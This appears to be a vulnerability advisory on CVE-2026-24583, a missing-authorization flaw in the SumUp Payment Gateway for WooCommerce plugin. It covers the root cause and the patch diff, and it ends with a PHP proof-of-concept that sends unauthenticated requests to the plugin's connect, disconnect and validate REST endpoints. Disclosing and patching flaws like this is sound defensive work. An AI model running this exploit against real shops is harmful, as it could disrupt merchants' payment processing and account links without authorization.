Atomic Edge analysis of CVE-2026-24583:
The SumUp Payment Gateway for WooCommerce plugin, versions up to and including 2.7.9, contains a missing authorization vulnerability. This flaw allows unauthenticated attackers to access administrative REST API endpoints. The vulnerability has a CVSS score of 5.3, indicating medium severity.
The root cause is the absence of capability checks in the `permission_callback` functions for three REST API endpoints. In the vulnerable code, each endpoint’s registration in `/includes/api/class-sumup-connect.php`, `/includes/api/class-sumup-disconnect.php`, and `/includes/api/class-sumup-validate.php` sets `’permission_callback’ => ‘__return_true’`. This configuration permits any HTTP request to proceed regardless of the user’s authentication state or privileges. The `__return_true` function unconditionally returns true, bypassing WordPress’s standard authorization mechanisms.
Exploitation involves sending HTTP POST or GET requests directly to the vulnerable REST endpoints. An attacker would target `/wp-json/sumup_connection/v1/connect`, `/wp-json/sumup_connection/v1/disconnect`, and `/wp-json/sumup_connection/v1/validate`. No authentication credentials, cookies, or nonces are required. The attack vector is a simple unauthenticated web request to these administrative endpoints. The HTTP method must match the endpoint registration (POST for connect/disconnect, GET for validate).
The patch replaces the generic `’permission_callback’ => ‘__return_true’` with an anonymous function that calls `current_user_can(‘manage_options’)`. This change enforces that only users with the `manage_options` capability, typically WordPress administrators, can access these endpoints. The plugin version number increments from 2.7.9 to 2.7.10 in the main plugin file. The fix correctly implements WordPress REST API security best practices by validating user capabilities before executing callback functions.
Successful exploitation allows unauthenticated attackers to trigger administrative plugin functions. While the exact impact of the `sumup_connect`, `sumup_disconnect`, and `sumup_validate_website` callbacks is not detailed in the diff, these functions likely manage payment gateway configuration and merchant account linking. Attackers could potentially disrupt payment processing, unlink merchant accounts, or manipulate gateway settings. This constitutes unauthorized administrative action and could lead to financial loss or service disruption.
--- a/sumup-payment-gateway-for-woocommerce/includes/api/class-sumup-connect.php
+++ b/sumup-payment-gateway-for-woocommerce/includes/api/class-sumup-connect.php
@@ -10,7 +10,9 @@
array(
'methods' => array( 'POST' ),
'callback' => 'sumup_connect',
- 'permission_callback' => '__return_true',
+ 'permission_callback' => function () {
+ return current_user_can('manage_options');
+ },
)
);
});
--- a/sumup-payment-gateway-for-woocommerce/includes/api/class-sumup-disconnect.php
+++ b/sumup-payment-gateway-for-woocommerce/includes/api/class-sumup-disconnect.php
@@ -15,7 +15,9 @@
array(
'methods' => array('POST'),
'callback' => 'sumup_disconnect',
- 'permission_callback' => '__return_true',
+ 'permission_callback' => function () {
+ return current_user_can('manage_options');
+ },
)
);
});
--- a/sumup-payment-gateway-for-woocommerce/includes/api/class-sumup-validate.php
+++ b/sumup-payment-gateway-for-woocommerce/includes/api/class-sumup-validate.php
@@ -1,25 +1,27 @@
<?php
-if ( ! defined( 'ABSPATH' ) ) {
+if (! defined('ABSPATH')) {
exit;
}
-//TODO - Adicionar timeout na requisição.
add_action('rest_api_init', function () {
- register_rest_route( 'sumup_connection/v1', 'validate', array(
+ register_rest_route('sumup_connection/v1', 'validate', array(
'methods' => 'GET',
'callback' => 'sumup_validate_website',
- 'permission_callback' => '__return_true',
+ 'permission_callback' => function () {
+ return current_user_can('manage_options');
+ },
));
});
/**
* Validate endpoint
*/
-function sumup_validate_website( $request ) {
- WC_SUMUP_LOGGER::log( "Sending validate website");
- $reponse_body = array( 'status' => 'valid website' );
- $response = new WP_REST_Response( $reponse_body );
- $response->set_status( 200 );
+function sumup_validate_website($request)
+{
+ WC_SUMUP_LOGGER::log("Sending validate website");
+ $reponse_body = array('status' => 'valid website');
+ $response = new WP_REST_Response($reponse_body);
+ $response->set_status(200);
return $response;
}
--- a/sumup-payment-gateway-for-woocommerce/sumup-payment-gateway-for-woocommerce.php
+++ b/sumup-payment-gateway-for-woocommerce/sumup-payment-gateway-for-woocommerce.php
@@ -6,7 +6,7 @@
* Description: Take credit card payments on your store using SumUp.
* Author: SumUp
* Author URI: https://sumup.com
- * Version: 2.7.9
+ * Version: 2.7.10
* Requires at least: 5.0
* Requires PHP: 7.2
* Text Domain: sumup-payment-gateway-for-woocommerce
@@ -22,7 +22,7 @@
define('WC_SUMUP_MAIN_FILE', __FILE__);
define('WC_SUMUP_PLUGIN_PATH', untrailingslashit(plugin_dir_path(__FILE__)));
define('WC_SUMUP_PLUGIN_URL', plugin_dir_url(__FILE__));
-define('WC_SUMUP_VERSION', '2.7.7');
+define('WC_SUMUP_VERSION', '2.7.10');
define('WC_SUMUP_MINIMUM_PHP_VERSION', '7.2');
define('WC_SUMUP_MINIMUM_WP_VERSION', '5.0');
define('WC_SUMUP_PLUGIN_SLUG', 'sumup-payment-gateway-for-woocommerce');
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24583 - SumUp Payment Gateway For WooCommerce <= 2.7.9 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2026-24583
* Demonstrates unauthenticated access to SumUp plugin REST endpoints
*/
$target_url = 'http://vulnerable-wordpress-site.com'; // CHANGE THIS
// Vulnerable REST endpoints (from diff)
$endpoints = [
'/wp-json/sumup_connection/v1/connect', // POST - class-sumup-connect.php
'/wp-json/sumup_connection/v1/disconnect', // POST - class-sumup-disconnect.php
'/wp-json/sumup_connection/v1/validate' // GET - class-sumup-validate.php
];
foreach ($endpoints as $endpoint) {
$url = $target_url . $endpoint;
// Determine method from endpoint type
if (strpos($endpoint, 'validate') !== false) {
// GET request for validate endpoint
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPGET, true);
} else {
// POST request for connect/disconnect endpoints
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
// Empty POST data - no parameters required for exploitation
curl_setopt($ch, CURLOPT_POSTFIELDS, '');
}
// Set headers to mimic legitimate request
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Content-Type: application/json',
'User-Agent: Atomic-Edge-PoC/1.0'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "Testing: $endpointn";
echo "HTTP Status: $http_coden";
echo "Response: " . substr($response, 0, 200) . "nn";
curl_close($ch);
// Brief pause between requests
sleep(1);
}
echo "PoC complete. If endpoints return 200 OK without authentication, the site is vulnerable.n";
?>
